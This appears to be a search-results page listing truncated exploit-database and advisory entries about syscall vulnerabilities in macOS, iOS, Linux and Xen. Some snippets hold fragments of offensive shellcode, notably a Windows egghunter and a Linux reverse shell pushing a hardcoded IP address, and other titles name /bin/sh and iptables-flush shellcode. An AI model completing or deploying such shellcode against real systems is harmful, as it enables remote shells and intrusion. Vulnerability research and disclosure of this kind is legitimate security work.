Apple MacOS 32-Bit Syscall Exit Kernel Register Leak(CVE-2017-2509)

The XNU kernel, when compiled for a x86-64 CPU, can run 32-bit x86 binaries in compatibility mode. 32-bit binaries use partly separate syscall entry and exit paths. To return to userspace, unixsyscall in bsd/dev/i386/systemcalls.c calls threadexceptionreturn in osfmk/x8664/locore.s, which in turn...

Apple macOS - 32-bit syscall exit Kernel Register Leak Exploit

Exploit for macOS platform in category dos / poc Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1149 The XNU kernel, when compiled for a x86-64 CPU, can run 32-bit x86 binaries in compatibility mode. 32-bit binaries use partly separate syscall entry and exit paths. To return to...

Apple macOS - '32-bit syscall exit' Kernel Register Leak

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1149 The XNU kernel, when compiled for a x86-64 CPU, can run 32-bit x86 binaries in compatibility mode. 32-bit binaries use partly separate syscall entry and exit paths. To return to userspace, unixsyscall in...

Apple macOS - 32-bit syscall exit Kernel Register Leak

Apple macOS - 32-bit syscall exit Kernel Register Leak Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1149 The XNU kernel, when compiled for a x86-64 CPU, can run 32-bit x86 binaries in compatibility mode. 32-bit binaries use partly separate syscall entry and exit paths. To...

Windows 10 x64 - Egghunter Shellcode (45 bytes)

Windows 10 x64 - Egghunter Shellcode 45 bytes. Shellcode exploit for Winx86-64 platform PUBLIC Win10egghunterx64 .code Win10egghunterx64 PROC start: push 7fh pop rdi ; RDI is nonvolatile, so it will be preserved after syscalls setup: inc rdi ; parameter 1 - lpAddress - counter mov r9b,40h ;...

Windows 10 x64 - Egghunter Shellcode (45 bytes)

PUBLIC Win10egghunterx64 .code Win10egghunterx64 PROC start: push 7fh pop rdi ; RDI is nonvolatile, so it will be preserved after syscalls setup: inc rdi ; parameter 1 - lpAddress - counter mov r9b,40h ; parameter 3 - flNewProtect - 0x40 PAGEEXECUTEREADWRITE pop rsi ; Stack alignment before the...

MacOS/iOS kernel uaf due to bad locking in necp_open (CVE-2017-2478)

necpopen is a syscall used to obtain a new necp file descriptor The necp file's fp's fgdata points to a struct necpfddata allocated on the heap. Here's the relevant code from necpopen: error = fallocp, &fp, &fd, vfscontextcurrent; --------------------- a if error != 0 goto done; if fddata =...

macOS / iOS Kernel 10.12.3 (16D32) - Bad Locking in necp_open Use-After-Free Exploit

Exploit for multiple platform in category dos / poc / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1116 necpopen is a syscall used to obtain a new necp file descriptor The necp file's fp's fgdata points to a struct necpfddata allocated on the heap. Here's the relevant code fr...

Apple macOSiOS Kernel 10.12.3 (16D32) - Bad Locking in necp_open Use-After-Free

Apple macOSiOS Kernel 10.12.3 16D32 - Bad Locking in necpopen Use-After-Free / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1116 necpopen is a syscall used to obtain a new necp file descriptor The necp file's fp's fgdata points to a struct necpfddata allocated on the heap...

Vm86 - Syscall Task Switch Kernel Panic / Privilege Escalation Vulnerability

Exploit for linux platform in category local exploits Source: http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ Introduction Problem description: The initial observation was, that the linux vm86 syscall, which allows to use the virtual-8086 mode from userspace for emulating o...

Linux/x86-64 - execve("/bin/sh") Shellcode (21 Bytes)

Linux/x86-64 - execve"/bin/sh" Shellcode 21 Bytes. Shellcode exploit for Linx86-64 platform ;================================================================================ ; The MIT License ; ; Copyright c ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of thi...

SUSE SLES11 Security Update : xen (SUSE-SU-2017:0718-1)

This update for xen fixes several issues. These security issues were fixed : - CVE-2016-10155: The virtual hardware watchdog 'wdti6300esb' was vulnerable to a memory leakage issue allowing a privileged user to cause a DoS and/or potentially crash the Qemu process on the host bsc1024183 -...

Linux/x86-64 - Polymorphic Flush IPTables Shellcode (47 bytes)

;The MIT License MIT ;Copyright c 2017 Robert L. Taylor ;Permission is hereby granted, free of charge, to any person obtaining a ;copy of this software and associated documentation files the “Software”, ;to deal in the Software without restriction, including without limitation ;the rights to use,...

Linux/x86-64 - Reverse Shell Shellcode (84 bytes)

/ Title: Linux/x86-64 - Reverse TCP shellcode - 84 bytes Author: Manuel Mancera @sinkmanu Tested on: 3.16.0-4-amd64 1 SMP Debian 3.16.39-1 2016-12-30 x8664 GNU/Linux ----------------- Assembly code ------------------- section .text global start start: push 0x2d01a8c0 ; Address 192.168.1.45 push...

Linux/x86-64 - Reverse Shell Shellcode (84 bytes)

Linux/x86-64 - Reverse Shell Shellcode 84 bytes. Shellcode exploit for Linux platform / Title: Linux/x86-64 - Reverse TCP shellcode - 84 bytes Author: Manuel Mancera @sinkmanu Tested on: 3.16.0-4-amd64 1 SMP Debian 3.16.39-1 2016-12-30 x8664 GNU/Linux ----------------- Assembly code...

Xen SYSCALL singlestep Handling Privilege Escalation (XSA-204)

According to its self-reported version number, the Xen hypervisor installed on the remote host is missing a security update. It is, therefore, affected by a privilege elevation vulnerability in the instruction emulator when handling SYSCALL by single-stepping applications. This is due to incorrec...

Linux/x86 - Multi/Dual mode Reverse Shell Shellcode (129 bytes)

/ Copyright © 2017 Odzhan. All Rights Reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the...

UBUNTU-CVE-2016-10013

Xen through 4.8.x allows local 64-bit x86 HVM guest OS users to gain privileges by leveraging mishandling of SYSCALL singlestep during emulation...

CVE-2016-10013

Xen through 4.8.x allows local 64-bit x86 HVM guest OS users to gain privileges by leveraging mishandling of SYSCALL singlestep during emulation...

CVE-2016-10013

Xen through 4.8.x allows local 64-bit x86 HVM guest OS users to gain privileges by leveraging mishandling of SYSCALL singlestep during emulation...